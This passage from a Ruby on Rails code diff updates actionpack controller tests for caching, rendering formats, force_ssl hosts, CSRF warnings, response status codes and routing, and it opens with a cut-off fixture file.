require 'fixtures/project'
class Task < ActiveRecord::Base
- set_table_name 'projects'
+ self.table_name = 'projects'
end
class Step < ActiveRecord::Base
- set_table_name 'projects'
+ self.table_name = 'projects'
end
class Bid < ActiveRecord::Base
- set_table_name 'projects'
+ self.table_name = 'projects'
end
class Tax < ActiveRecord::Base
- set_table_name 'projects'
+ self.table_name = 'projects'
end
class Fax < ActiveRecord::Base
- set_table_name 'projects'
+ self.table_name = 'projects'
end
class Series < ActiveRecord::Base
- set_table_name 'projects'
+ self.table_name = 'projects'
end
module Blog
class Post < ActiveRecord::Base
- set_table_name 'projects'
+ self.table_name = 'projects'
end
class Blog < ActiveRecord::Base
- set_table_name 'projects'
+ self.table_name = 'projects'
end
- def self._railtie
- o = Object.new
- def o.railtie_name; "blog" end
- o
+ def self.use_relative_model_naming?
+ true
end
end
diff --git a/actionpack/test/controller/assert_select_test.rb b/actionpack/test/controller/assert_select_test.rb
index 878484eb57..5eef8a32d7 100644
--- a/actionpack/test/controller/assert_select_test.rb
+++ b/actionpack/test/controller/assert_select_test.rb
@@ -20,6 +20,15 @@ class AssertSelectTest < ActionController::TestCase
end
end
+ class AssertMultipartSelectMailer < ActionMailer::Base
+ def test(options)
+ mail :subject => "Test e-mail", :from => "test@test.host", :to => "test <test@test.host>" do |format|
+ format.text { render :text => options[:text] }
+ format.html { render :text => options[:html] }
+ end
+ end
+ end
+
class AssertSelectController < ActionController::Base
def response_with=(content)
@content = content
@@ -313,6 +322,16 @@ EOF
end
end
+ def test_assert_select_email_multipart
+ AssertMultipartSelectMailer.test(:html => "<div><p>foo</p><p>bar</p></div>", :text => 'foo bar').deliver
+ assert_select_email do
+ assert_select "div:root" do
+ assert_select "p:first-child", "foo"
+ assert_select "p:last-child", "bar"
+ end
+ end
+ end
+
protected
def render_html(html)
@controller.response_with = html
diff --git a/actionpack/test/controller/caching_test.rb b/actionpack/test/controller/caching_test.rb
index da3314fe6d..2364bbf3a3 100644
--- a/actionpack/test/controller/caching_test.rb
+++ b/actionpack/test/controller/caching_test.rb
@@ -194,10 +194,11 @@ class ActionCachingTestController < CachingController
caches_action :show, :cache_path => 'http://test.host/custom/show'
caches_action :edit, :cache_path => Proc.new { |c| c.params[:id] ? "http://test.host/#{c.params[:id]};edit" : "http://test.host/edit" }
caches_action :with_layout
+ caches_action :with_format_and_http_param, :cache_path => Proc.new { |c| { :key => 'value' } }
caches_action :layout_false, :layout => false
caches_action :record_not_found, :four_oh_four, :simple_runtime_error
- layout 'talk_from_action.erb'
+ layout 'talk_from_action'
def index
@cache_this = MockTime.now.to_f.to_s
@@ -219,6 +220,11 @@ class ActionCachingTestController < CachingController
render :text => @cache_this, :layout => true
end
+ def with_format_and_http_param
+ @cache_this = MockTime.now.to_f.to_s
+ render :text => @cache_this
+ end
+
def record_not_found
raise ActiveRecord::RecordNotFound, "oops!"
end
@@ -359,6 +365,13 @@ class ActionCacheTest < ActionController::TestCase
assert !fragment_exist?('hostname.com/action_caching_test')
end
+ def test_action_cache_with_format_and_http_param
+ get :with_format_and_http_param, :format => 'json'
+ assert_response :success
+ assert !fragment_exist?('hostname.com/action_caching_test/with_format_and_http_param.json?key=value.json')
+ assert fragment_exist?('hostname.com/action_caching_test/with_format_and_http_param.json?key=value')
+ end
+
def test_action_cache_with_store_options
MockTime.expects(:now).returns(12345).once
@controller.expects(:read_fragment).with('hostname.com/action_caching_test', :expires_in => 1.hour).once
@@ -745,6 +758,7 @@ class FunctionalFragmentCachingTest < ActionController::TestCase
expected_body = <<-CACHED
Hello
This bit's fragment cached
+Ciao
CACHED
assert_equal expected_body, @response.body
@@ -786,3 +800,51 @@ CACHED
assert_equal " <p>Builder</p>\n", @store.read('views/test.host/functional_caching/formatted_fragment_cached')
end
end
+
+class CacheHelperOutputBufferTest < ActionController::TestCase
+
+ class MockController
+ def read_fragment(name, options)
+ return false
+ end
+
+ def write_fragment(name, fragment, options)
+ fragment
+ end
+ end
+
+ def setup
+ super
+ end
+
+ def test_output_buffer
+ output_buffer = ActionView::OutputBuffer.new
+ controller = MockController.new
+ cache_helper = Object.new
+ cache_helper.extend(ActionView::Helpers::CacheHelper)
+ cache_helper.expects(:controller).returns(controller).at_least(0)
+ cache_helper.expects(:output_buffer).returns(output_buffer).at_least(0)
+ # if the output_buffer is changed, the new one should be html_safe and of the same type
+ cache_helper.expects(:output_buffer=).with(responds_with(:html_safe?, true)).with(instance_of(output_buffer.class)).at_least(0)
+
+ assert_nothing_raised do
+ cache_helper.send :fragment_for, 'Test fragment name', 'Test fragment', &Proc.new{ nil }
+ end
+ end
+
+ def test_safe_buffer
+ output_buffer = ActiveSupport::SafeBuffer.new
+ controller = MockController.new
+ cache_helper = Object.new
+ cache_helper.extend(ActionView::Helpers::CacheHelper)
+ cache_helper.expects(:controller).returns(controller).at_least(0)
+ cache_helper.expects(:output_buffer).returns(output_buffer).at_least(0)
+ # if the output_buffer is changed, the new one should be html_safe and of the same type
+ cache_helper.expects(:output_buffer=).with(responds_with(:html_safe?, true)).with(instance_of(output_buffer.class)).at_least(0)
+
+ assert_nothing_raised do
+ cache_helper.send :fragment_for, 'Test fragment name', 'Test fragment', &Proc.new{ nil }
+ end
+ end
+
+end
diff --git a/actionpack/test/controller/default_url_options_with_filter_test.rb b/actionpack/test/controller/default_url_options_with_filter_test.rb
new file mode 100644
index 0000000000..3bbb981040
--- /dev/null
+++ b/actionpack/test/controller/default_url_options_with_filter_test.rb
@@ -0,0 +1,29 @@
+require 'abstract_unit'
+
+
+class ControllerWithBeforeFilterAndDefaultUrlOptions < ActionController::Base
+
+ before_filter { I18n.locale = params[:locale] }
+ after_filter { I18n.locale = "en" }
+
+ def target
+ render :text => "final response"
+ end
+
+ def redirect
+ redirect_to :action => "target"
+ end
+
+ def default_url_options
+ {:locale => "de"}
+ end
+end
+
+class ControllerWithBeforeFilterAndDefaultUrlOptionsTest < ActionController::TestCase
+
+ # This test has it´s roots in issue #1872
+ test "should redirect with correct locale :de" do
+ get :redirect, :locale => "de"
+ assert_redirected_to "/controller_with_before_filter_and_default_url_options/target?locale=de"
+ end
+end
diff --git a/actionpack/test/controller/force_ssl_test.rb b/actionpack/test/controller/force_ssl_test.rb
index 3e723e20d9..43b20fdead 100644
--- a/actionpack/test/controller/force_ssl_test.rb
+++ b/actionpack/test/controller/force_ssl_test.rb
@@ -14,6 +14,10 @@ class ForceSSLControllerLevel < ForceSSLController
force_ssl
end
+class ForceSSLCustomDomain < ForceSSLController
+ force_ssl :host => "secure.test.host"
+end
+
class ForceSSLOnlyAction < ForceSSLController
force_ssl :only => :cheeseburger
end
@@ -38,6 +42,22 @@ class ForceSSLControllerLevelTest < ActionController::TestCase
end
end
+class ForceSSLCustomDomainTest < ActionController::TestCase
+ tests ForceSSLCustomDomain
+
+ def test_banana_redirects_to_https_with_custom_host
+ get :banana
+ assert_response 301
+ assert_equal "https://secure.test.host/force_ssl_custom_domain/banana", redirect_to_url
+ end
+
+ def test_cheeseburger_redirects_to_https_with_custom_host
+ get :cheeseburger
+ assert_response 301
+ assert_equal "https://secure.test.host/force_ssl_custom_domain/cheeseburger", redirect_to_url
+ end
+end
+
class ForceSSLOnlyActionTest < ActionController::TestCase
tests ForceSSLOnlyAction
@@ -80,4 +100,4 @@ class ForceSSLExcludeDevelopmentTest < ActionController::TestCase
get :banana
assert_response 200
end
-end \ No newline at end of file
+end
diff --git a/actionpack/test/controller/helper_test.rb b/actionpack/test/controller/helper_test.rb
index 584d73668a..35a87c1aae 100644
--- a/actionpack/test/controller/helper_test.rb
+++ b/actionpack/test/controller/helper_test.rb
@@ -1,5 +1,4 @@
require 'abstract_unit'
-require 'active_support/core_ext/kernel/reporting'
ActionController::Base.helpers_path = File.expand_path('../../fixtures/helpers', __FILE__)
diff --git a/actionpack/test/controller/http_basic_authentication_test.rb b/actionpack/test/controller/http_basic_authentication_test.rb
index bd3e13e6fa..364e96d4f6 100644
--- a/actionpack/test/controller/http_basic_authentication_test.rb
+++ b/actionpack/test/controller/http_basic_authentication_test.rb
@@ -85,6 +85,14 @@ class HttpBasicAuthenticationTest < ActionController::TestCase
end
end
+ def test_encode_credentials_has_no_newline
+ username = 'laskjdfhalksdjfhalkjdsfhalksdjfhklsdjhalksdjfhalksdjfhlakdsjfh'
+ password = 'kjfhueyt9485osdfasdkljfh4lkjhakldjfhalkdsjf'
+ result = ActionController::HttpAuthentication::Basic.encode_credentials(
+ username, password)
+ assert_no_match(/\n/, result)
+ end
+
test "authentication request without credential" do
get :display
diff --git a/actionpack/test/controller/integration_test.rb b/actionpack/test/controller/integration_test.rb
index 23709e44e2..2ad95f5c29 100644
--- a/actionpack/test/controller/integration_test.rb
+++ b/actionpack/test/controller/integration_test.rb
@@ -493,7 +493,7 @@ class ApplicationIntegrationTest < ActionDispatch::IntegrationTest
routes.draw do
match '', :to => 'application_integration_test/test#index', :as => :empty_string
-
+
match 'foo', :to => 'application_integration_test/test#index', :as => :foo
match 'bar', :to => 'application_integration_test/test#index', :as => :bar
end
@@ -511,7 +511,7 @@ class ApplicationIntegrationTest < ActionDispatch::IntegrationTest
test "route helpers after controller access" do
get '/'
assert_equal '/', empty_string_path
-
+
get '/foo'
assert_equal '/foo', foo_path
@@ -528,11 +528,10 @@ class ApplicationIntegrationTest < ActionDispatch::IntegrationTest
assert_raise(NameError) { missing_path }
end
- test "process reuse the env we pass as argument" do
+ test "process do not modify the env passed as argument" do
env = { :SERVER_NAME => 'server', 'action_dispatch.custom' => 'custom' }
+ old_env = env.dup
get '/foo', nil, env
- assert_equal :get, env[:method]
- assert_equal 'server', env[:SERVER_NAME]
- assert_equal 'custom', env['action_dispatch.custom']
+ assert_equal old_env, env
end
end
diff --git a/actionpack/test/controller/layout_test.rb b/actionpack/test/controller/layout_test.rb
index cafe2b9320..25299eb8b8 100644
--- a/actionpack/test/controller/layout_test.rb
+++ b/actionpack/test/controller/layout_test.rb
@@ -79,7 +79,7 @@ class DefaultLayoutController < LayoutTest
end
class AbsolutePathLayoutController < LayoutTest
- layout File.expand_path(File.expand_path(__FILE__) + '/../../fixtures/layout_tests/layouts/layout_test.erb')
+ layout File.expand_path(File.expand_path(__FILE__) + '/../../fixtures/layout_tests/layouts/layout_test')
end
class HasOwnLayoutController < LayoutTest
@@ -184,7 +184,7 @@ class RenderWithTemplateOptionController < LayoutTest
end
class SetsNonExistentLayoutFile < LayoutTest
- layout "nofile.erb"
+ layout "nofile"
end
class LayoutExceptionRaised < ActionController::TestCase
diff --git a/actionpack/test/controller/log_subscriber_test.rb b/actionpack/test/controller/log_subscriber_test.rb
index ccdfcb0b2c..700fd788fa 100644
--- a/actionpack/test/controller/log_subscriber_test.rb
+++ b/actionpack/test/controller/log_subscriber_test.rb
@@ -13,6 +13,11 @@ module Another
head :status => 406
end
+ before_filter :redirector, :only => :never_executed
+
+ def never_executed
+ end
+
def show
render :nothing => true
end
@@ -49,7 +54,6 @@ module Another
def with_rescued_exception
raise SpecialException
end
-
end
end
@@ -86,6 +90,13 @@ class ACLogSubscriberTest < ActionController::TestCase
assert_equal "Processing by Another::LogSubscribersController#show as HTML", logs.first
end
+ def test_halted_callback
+ get :never_executed
+ wait
+ assert_equal 4, logs.size
+ assert_equal "Filter chain halted as :redirector rendered or redirected", logs.third
+ end
+
def test_process_action
get :show
wait
diff --git a/actionpack/test/controller/mime_responds_test.rb b/actionpack/test/controller/mime_responds_test.rb
index afb2d39955..76a8c89e60 100644
--- a/actionpack/test/controller/mime_responds_test.rb
+++ b/actionpack/test/controller/mime_responds_test.rb
@@ -509,7 +509,7 @@ end
class RespondWithController < ActionController::Base
respond_to :html, :json
respond_to :xml, :except => :using_resource_with_block
- respond_to :js, :only => [ :using_resource_with_block, :using_resource, :using_hash_resource ]
+ respond_to :js, :only => [ :using_resource_with_block, :using_resource, 'using_hash_resource' ]
def using_resource
respond_with(resource)
@@ -656,7 +656,9 @@ class RespondWithControllerTest < ActionController::TestCase
@request.accept = "application/json"
get :using_hash_resource
assert_equal "application/json", @response.content_type
- assert_equal %Q[{"result":{"name":"david","id":13}}], @response.body
+ assert @response.body.include?("result")
+ assert @response.body.include?('"name":"david"')
+ assert @response.body.include?('"id":13')
end
def test_using_hash_resource_with_post
@@ -745,6 +747,20 @@ class RespondWithControllerTest < ActionController::TestCase
end
end
+ def test_using_resource_for_post_with_json_yields_unprocessable_entity_on_failure
+ with_test_route_set do
+ @request.accept = "application/json"
+ errors = { :name => :invalid }
+ Customer.any_instance.stubs(:errors).returns(errors)
+ post :using_resource
+ assert_equal "application/json", @response.content_type
+ assert_equal 422, @response.status
+ errors = {:errors => errors}
+ assert_equal errors.to_json, @response.body
+ assert_nil @response.location
+ end
+ end
+
def test_using_resource_for_put_with_html_redirects_on_success
with_test_route_set do
put :using_resource
@@ -780,21 +796,21 @@ class RespondWithControllerTest < ActionController::TestCase
end
end
- def test_using_resource_for_put_with_xml_yields_ok_on_success
+ def test_using_resource_for_put_with_xml_yields_no_content_on_success
@request.accept = "application/xml"
put :using_resource
assert_equal "application/xml", @response.content_type
- assert_equal 200, @response.status
+ assert_equal 204, @response.status
assert_equal " ", @response.body
end
- def test_using_resource_for_put_with_json_yields_ok_on_success
+ def test_using_resource_for_put_with_json_yields_no_content_on_success
Customer.any_instance.stubs(:to_json).returns('{"name": "David"}')
@request.accept = "application/json"
put :using_resource
assert_equal "application/json", @response.content_type
- assert_equal 200, @response.status
- assert_equal "{}", @response.body
+ assert_equal 204, @response.status
+ assert_equal " ", @response.body
end
def test_using_resource_for_put_with_xml_yields_unprocessable_entity_on_failure
@@ -808,6 +824,18 @@ class RespondWithControllerTest < ActionController::TestCase
assert_nil @response.location
end
+ def test_using_resource_for_put_with_json_yields_unprocessable_entity_on_failure
+ @request.accept = "application/json"
+ errors = { :name => :invalid }
+ Customer.any_instance.stubs(:errors).returns(errors)
+ put :using_resource
+ assert_equal "application/json", @response.content_type
+ assert_equal 422, @response.status
+ errors = {:errors => errors}
+ assert_equal errors.to_json, @response.body
+ assert_nil @response.location
+ end
+
def test_using_resource_for_delete_with_html_redirects_on_success
with_test_route_set do
Customer.any_instance.stubs(:destroyed?).returns(true)
@@ -818,23 +846,23 @@ class RespondWithControllerTest < ActionController::TestCase
end
end
- def test_using_resource_for_delete_with_xml_yields_ok_on_success
+ def test_using_resource_for_delete_with_xml_yields_no_content_on_success
Customer.any_instance.stubs(:destroyed?).returns(true)
@request.accept = "application/xml"
delete :using_resource
assert_equal "application/xml", @response.content_type
- assert_equal 200, @response.status
+ assert_equal 204, @response.status
assert_equal " ", @response.body
end
- def test_using_resource_for_delete_with_json_yields_ok_on_success
+ def test_using_resource_for_delete_with_json_yields_no_content_on_success
Customer.any_instance.stubs(:to_json).returns('{"name": "David"}')
Customer.any_instance.stubs(:destroyed?).returns(true)
@request.accept = "application/json"
delete :using_resource
assert_equal "application/json", @response.content_type
- assert_equal 200, @response.status
- assert_equal "{}", @response.body
+ assert_equal 204, @response.status
+ assert_equal " ", @response.body
end
def test_using_resource_for_delete_with_html_redirects_on_failure
diff --git a/actionpack/test/controller/new_base/bare_metal_test.rb b/actionpack/test/controller/new_base/bare_metal_test.rb
index 3ca29f1bcf..c424dcbd8d 100644
--- a/actionpack/test/controller/new_base/bare_metal_test.rb
+++ b/actionpack/test/controller/new_base/bare_metal_test.rb
@@ -23,6 +23,12 @@ module BareMetalTest
assert_equal "Hello world", string
end
+
+ test "response_body value is wrapped in an array when the value is a String" do
+ controller = BareController.new
+ controller.index
+ assert_equal ["Hello world"], controller.response_body
+ end
end
class HeadController < ActionController::Metal
diff --git a/actionpack/test/controller/new_base/render_file_test.rb b/actionpack/test/controller/new_base/render_file_test.rb
index 8b2fdf8f96..a961cbf849 100644
--- a/actionpack/test/controller/new_base/render_file_test.rb
+++ b/actionpack/test/controller/new_base/render_file_test.rb
@@ -10,7 +10,7 @@ module RenderFile
def with_instance_variables
@secret = 'in the sauce'
- render :file => File.join(File.dirname(__FILE__), '../../fixtures/test/render_file_with_ivar.erb')
+ render :file => File.join(File.dirname(__FILE__), '../../fixtures/test/render_file_with_ivar')
end
def without_file_key
@@ -19,7 +19,7 @@ module RenderFile
def without_file_key_with_instance_variable
@secret = 'in the sauce'
- render File.join(File.dirname(__FILE__), '../../fixtures/test/render_file_with_ivar.erb')
+ render File.join(File.dirname(__FILE__), '../../fixtures/test/render_file_with_ivar')
end
def relative_path
@@ -34,16 +34,16 @@ module RenderFile
def pathname
@secret = 'in the sauce'
- render :file => Pathname.new(File.dirname(__FILE__)).join(*%w[.. .. fixtures test dot.directory render_file_with_ivar.erb])
+ render :file => Pathname.new(File.dirname(__FILE__)).join(*%w[.. .. fixtures test dot.directory render_file_with_ivar])
end
def with_locals
- path = File.join(File.dirname(__FILE__), '../../fixtures/test/render_file_with_locals.erb')
+ path = File.join(File.dirname(__FILE__), '../../fixtures/test/render_file_with_locals')
render :file => path, :locals => {:secret => 'in the sauce'}
end
def without_file_key_with_locals
- path = FIXTURES.join('test/render_file_with_locals.erb').to_s
+ path = FIXTURES.join('test/render_file_with_locals').to_s
render path, :locals => {:secret => 'in the sauce'}
end
end
diff --git a/actionpack/test/controller/new_base/render_partial_test.rb b/actionpack/test/controller/new_base/render_partial_test.rb
index 83b0d039ad..b4a25c49c9 100644
--- a/actionpack/test/controller/new_base/render_partial_test.rb
+++ b/actionpack/test/controller/new_base/render_partial_test.rb
@@ -7,12 +7,12 @@ module RenderPartial
self.view_paths = [ActionView::FixtureResolver.new(
"render_partial/basic/_basic.html.erb" => "BasicPartial!",
"render_partial/basic/basic.html.erb" => "<%= @test_unchanged = 'goodbye' %><%= render :partial => 'basic' %><%= @test_unchanged %>",
- "render_partial/basic/with_json.html.erb" => "<%= render 'with_json.json' %>",
- "render_partial/basic/_with_json.json.erb" => "<%= render 'final' %>",
+ "render_partial/basic/with_json.html.erb" => "<%= render :partial => 'with_json', :formats => [:json] %>",
+ "render_partial/basic/_with_json.json.erb" => "<%= render :partial => 'final', :formats => [:json] %>",
"render_partial/basic/_final.json.erb" => "{ final: json }",
- "render_partial/basic/overriden.html.erb" => "<%= @test_unchanged = 'goodbye' %><%= render :partial => 'overriden' %><%= @test_unchanged %>",
- "render_partial/basic/_overriden.html.erb" => "ParentPartial!",
- "render_partial/child/_overriden.html.erb" => "OverridenPartial!"
+ "render_partial/basic/overriden.html.erb" => "<%= @test_unchanged = 'goodbye' %><%= render :partial => 'overriden' %><%= @test_unchanged %>",
+ "render_partial/basic/_overriden.html.erb" => "ParentPartial!",
+ "render_partial/child/_overriden.html.erb" => "OverridenPartial!"
)]
def html_with_json_inside_json
diff --git a/actionpack/test/controller/new_base/render_template_test.rb b/actionpack/test/controller/new_base/render_template_test.rb
index 584f2d772c..ba804421da 100644
--- a/actionpack/test/controller/new_base/render_template_test.rb
+++ b/actionpack/test/controller/new_base/render_template_test.rb
@@ -10,8 +10,8 @@ module RenderTemplate
"xml_template.xml.builder" => "xml.html do\n xml.p 'Hello'\nend",
"with_raw.html.erb" => "Hello <%=raw '<strong>this is raw</strong>' %>",
"with_implicit_raw.html.erb" => "Hello <%== '<strong>this is also raw</strong>' %>",
- "test/with_json.html.erb" => "<%= render :template => 'test/with_json.json' %>",
- "test/with_json.json.erb" => "<%= render :template => 'test/final' %>",
+ "test/with_json.html.erb" => "<%= render :template => 'test/with_json', :formats => [:json] %>",
+ "test/with_json.json.erb" => "<%= render :template => 'test/final', :formats => [:json] %>",
"test/final.json.erb" => "{ final: json }",
"test/with_error.html.erb" => "<%= idontexist %>"
)]
@@ -117,7 +117,7 @@ module RenderTemplate
assert_response "{ final: json }"
end
- test "rendering a template with error properly exceprts the code" do
+ test "rendering a template with error properly excerts the code" do
get :with_error
assert_status 500
assert_match "undefined local variable or method `idontexist'", response.body
diff --git a/actionpack/test/controller/redirect_test.rb b/actionpack/test/controller/redirect_test.rb
index 92d4a6d98b..79041055bd 100644
--- a/actionpack/test/controller/redirect_test.rb
+++ b/actionpack/test/controller/redirect_test.rb
@@ -4,6 +4,11 @@ class WorkshopsController < ActionController::Base
end
class RedirectController < ActionController::Base
+ # empty method not used anywhere to ensure methods like
+ # `status` and `location` aren't called on `redirect_to` calls
+ def status; render :text => 'called status'; end
+ def location; render :text => 'called location'; end
+
def simple_redirect
redirect_to :action => "hello_world"
end
diff --git a/actionpack/test/controller/render_test.rb b/actionpack/test/controller/render_test.rb
index ce4b407c7d..aea603b014 100644
--- a/actionpack/test/controller/render_test.rb
+++ b/actionpack/test/controller/render_test.rb
@@ -163,14 +163,14 @@ class TestController < ActionController::Base
# :ported:
def render_file_with_instance_variables
@secret = 'in the sauce'
- path = File.join(File.dirname(__FILE__), '../fixtures/test/render_file_with_ivar.erb')
+ path = File.join(File.dirname(__FILE__), '../fixtures/test/render_file_with_ivar')
render :file => path
end
# :ported:
def render_file_as_string_with_instance_variables
@secret = 'in the sauce'
- path = File.expand_path(File.join(File.dirname(__FILE__), '../fixtures/test/render_file_with_ivar.erb'))
+ path = File.expand_path(File.join(File.dirname(__FILE__), '../fixtures/test/render_file_with_ivar'))
render path
end
@@ -187,21 +187,21 @@ class TestController < ActionController::Base
def render_file_using_pathname
@secret = 'in the sauce'
- render :file => Pathname.new(File.dirname(__FILE__)).join('..', 'fixtures', 'test', 'dot.directory', 'render_file_with_ivar.erb')
+ render :file => Pathname.new(File.dirname(__FILE__)).join('..', 'fixtures', 'test', 'dot.directory', 'render_file_with_ivar')
end
def render_file_from_template
@secret = 'in the sauce'
- @path = File.expand_path(File.join(File.dirname(__FILE__), '../fixtures/test/render_file_with_ivar.erb'))
+ @path = File.expand_path(File.join(File.dirname(__FILE__), '../fixtures/test/render_file_with_ivar'))
end
def render_file_with_locals
- path = File.join(File.dirname(__FILE__), '../fixtures/test/render_file_with_locals.erb')
+ path = File.join(File.dirname(__FILE__), '../fixtures/test/render_file_with_locals')
render :file => path, :locals => {:secret => 'in the sauce'}
end
def render_file_as_string_with_locals
- path = File.expand_path(File.join(File.dirname(__FILE__), '../fixtures/test/render_file_with_locals.erb'))
+ path = File.expand_path(File.join(File.dirname(__FILE__), '../fixtures/test/render_file_with_locals'))
render path, :locals => {:secret => 'in the sauce'}
end
@@ -405,6 +405,14 @@ class TestController < ActionController::Base
render :template => "test/hello_world"
end
+ def render_with_explicit_unescaped_template
+ render :template => "test/h*llo_world"
+ end
+
+ def render_with_explicit_escaped_template
+ render :template => "test/hello,world"
+ end
+
def render_with_explicit_string_template
render "test/hello_world"
end
@@ -445,17 +453,13 @@ class TestController < ActionController::Base
render :action => "potential_conflicts"
end
- # :deprecated:
- # Tests being able to pick a .builder template over a .erb
- # For instance, being able to have hello.xml.builder and hello.xml.erb
- # and select one via "hello.builder" or "hello.erb"
def hello_world_from_rxml_using_action
- render :action => "hello_world_from_rxml.builder"
+ render :action => "hello_world_from_rxml", :handlers => [:builder]
end
# :deprecated:
def hello_world_from_rxml_using_template
- render :template => "test/hello_world_from_rxml.builder"
+ render :template => "test/hello_world_from_rxml", :handlers => [:builder]
end
def action_talk_to_layout
@@ -517,8 +521,8 @@ class TestController < ActionController::Base
render :action => "using_layout_around_block", :layout => "layouts/block_with_layout"
end
- def partial_dot_html
- render :partial => 'partial.html.erb'
+ def partial_formats_html
+ render :partial => 'partial', :formats => [:html]
end
def partial
@@ -789,7 +793,9 @@ class RenderTest < ActionController::TestCase
end
def test_render_file
- get :hello_world_file
+ assert_deprecated do
+ get :hello_world_file
+ end
assert_equal "Hello world!", @response.body
end
@@ -1057,6 +1063,12 @@ class RenderTest < ActionController::TestCase
assert_response :success
end
+ def test_render_with_explicit_unescaped_template
+ assert_raise(ActionView::MissingTemplate) { get :render_with_explicit_unescaped_template }
+ get :render_with_explicit_escaped_template
+ assert_equal "Hello w*rld!", @response.body
+ end
+
def test_render_with_explicit_string_template
get :render_with_explicit_string_template
assert_equal "<html>Hello world!</html>", @response.body
@@ -1219,8 +1231,8 @@ class RenderTest < ActionController::TestCase
assert_equal 'partial html', @response.body
end
- def test_should_render_html_partial_with_dot
- get :partial_dot_html
+ def test_should_render_html_partial_with_formats
+ get :partial_formats_html
assert_equal 'partial html', @response.body
end
diff --git a/actionpack/test/controller/request_forgery_protection_test.rb b/actionpack/test/controller/request_forgery_protection_test.rb
index d94db7f5fb..fd5a41a0bb 100644
--- a/actionpack/test/controller/request_forgery_protection_test.rb
+++ b/actionpack/test/controller/request_forgery_protection_test.rb
@@ -1,6 +1,7 @@
require 'abstract_unit'
require 'digest/sha1'
require 'active_support/core_ext/string/strip'
+require "active_support/log_subscriber/test_helper"
# common controller actions
module RequestForgeryProtectionActions
@@ -157,6 +158,21 @@ module RequestForgeryProtectionTests
assert_not_blocked { put :index }
end
+ def test_should_warn_on_missing_csrf_token
+ old_logger = ActionController::Base.logger
+ logger = ActiveSupport::LogSubscriber::TestHelper::MockLogger.new
+ ActionController::Base.logger = logger
+
+ begin
+ assert_blocked { post :index }
+
+ assert_equal 1, logger.logged(:warn).size
+ assert_match(/CSRF token authenticity/, logger.logged(:warn).last)
+ ensure
+ ActionController::Base.logger = old_logger
+ end
+ end
+
def assert_blocked
session[:something_like_user_id] = 1
yield
diff --git a/actionpack/test/controller/resources_test.rb b/actionpack/test/controller/resources_test.rb
index 6ea492cf8b..6b8a8f6161 100644
--- a/actionpack/test/controller/resources_test.rb
+++ b/actionpack/test/controller/resources_test.rb
@@ -91,6 +91,15 @@ class ResourcesTest < ActionController::TestCase
end
end
+ def test_multiple_resources_with_options
+ expected_options = {:controller => 'threads', :action => 'index'}
+
+ with_restful_routing :messages, :comments, expected_options.slice(:controller) do
+ assert_recognizes(expected_options, :path => 'comments')
+ assert_recognizes(expected_options, :path => 'messages')
+ end
+ end
+
def test_with_custom_conditions
with_restful_routing :messages, :conditions => { :subdomain => 'app' } do
assert @routes.recognize_path("/messages", :method => :get, :subdomain => 'app')
@@ -523,7 +532,7 @@ class ResourcesTest < ActionController::TestCase
routes.each do |route|
routes.each do |r|
next if route === r # skip the comparison instance
- assert distinct_routes?(route, r), "Duplicate Route: #{route}"
+ assert_not_equal [route.conditions, route.path.spec.to_s], [r.conditions, r.path.spec.to_s]
end
end
end
@@ -1342,13 +1351,4 @@ class ResourcesTest < ActionController::TestCase
assert_recognizes(expected_options, path)
end
end
-
- def distinct_routes? (r1, r2)
- if r1.conditions == r2.conditions and r1.constraints == r2.constraints then
- if r1.segments.collect(&:to_s) == r2.segments.collect(&:to_s) then
- return false
- end
- end
- true
- end
end
diff --git a/actionpack/test/controller/routing_test.rb b/actionpack/test/controller/routing_test.rb
index aa9d193436..4a67380f59 100644
--- a/actionpack/test/controller/routing_test.rb
+++ b/actionpack/test/controller/routing_test.rb
@@ -1,7 +1,6 @@
# encoding: utf-8
require 'abstract_unit'
require 'controller/fake_controllers'
-require 'active_support/dependencies'
require 'active_support/core_ext/object/with_options'
class MilestonesController < ActionController::Base
@@ -12,12 +11,6 @@ end
ROUTING = ActionDispatch::Routing
-module RoutingTestHelpers
- def url_for(set, options, recall = nil)
- set.send(:url_for, options.merge(:only_path => true, :_path_segments => recall))
- end
-end
-
# See RFC 3986, section 3.3 for allowed path characters.
class UriReservedCharactersRoutingTest < Test::Unit::TestCase
include RoutingTestHelpers
@@ -1665,114 +1658,6 @@ class RackMountIntegrationTests < ActiveSupport::TestCase
assert_raise(ActionController::RoutingError) { @routes.recognize_path('/none', :method => :get) }
end
- def test_generate
- assert_equal '/admin/users', url_for(@routes, { :use_route => 'admin_users' })
- assert_equal '/admin/users', url_for(@routes, { :controller => 'admin/users' })
- assert_equal '/admin/users', url_for(@routes, { :controller => 'admin/users', :action => 'index' })
- assert_equal '/admin/users', url_for(@routes, { :action => 'index' }, { :controller => 'admin/users' })
- assert_equal '/admin/users', url_for(@routes, { :controller => 'users', :action => 'index' }, { :controller => 'admin/accounts' })
- assert_equal '/people', url_for(@routes, { :controller => '/people', :action => 'index' }, { :controller => 'admin/accounts' })
-
- assert_equal '/admin/posts', url_for(@routes, { :controller => 'admin/posts' })
- assert_equal '/admin/posts/new', url_for(@routes, { :controller => 'admin/posts', :action => 'new' })
-
- assert_equal '/blog/2009', url_for(@routes, { :controller => 'posts', :action => 'show_date', :year => 2009 })
- assert_equal '/blog/2009/1', url_for(@routes, { :controller => 'posts', :action => 'show_date', :year => 2009, :month => 1 })
- assert_equal '/blog/2009/1/1', url_for(@routes, { :controller => 'posts', :action => 'show_date', :year => 2009, :month => 1, :day => 1 })
-
- assert_equal '/archive/2010', url_for(@routes, { :controller => 'archive', :action => 'index', :year => '2010' })
- assert_equal '/archive', url_for(@routes, { :controller => 'archive', :action => 'index' })
- assert_equal '/archive?year=january', url_for(@routes, { :controller => 'archive', :action => 'index', :year => 'january' })
-
- assert_equal '/people', url_for(@routes, { :controller => 'people', :action => 'index' })
- assert_equal '/people', url_for(@routes, { :action => 'index' }, { :controller => 'people' })
- assert_equal '/people', url_for(@routes, { :action => 'index' }, { :controller => 'people', :action => 'show', :id => '1' })
- assert_equal '/people', url_for(@routes, { :controller => 'people', :action => 'index' }, { :controller => 'people', :action => 'show', :id => '1' })
- assert_equal '/people', url_for(@routes, {}, { :controller => 'people', :action => 'index' })
- assert_equal '/people/1', url_for(@routes, { :controller => 'people', :action => 'show' }, { :controller => 'people', :action => 'show', :id => '1' })
- assert_equal '/people/new', url_for(@routes, { :use_route => 'new_person' })
- assert_equal '/people/new', url_for(@routes, { :controller => 'people', :action => 'new' })
- assert_equal '/people/1', url_for(@routes, { :use_route => 'person', :id => '1' })
- assert_equal '/people/1', url_for(@routes, { :controller => 'people', :action => 'show', :id => '1' })
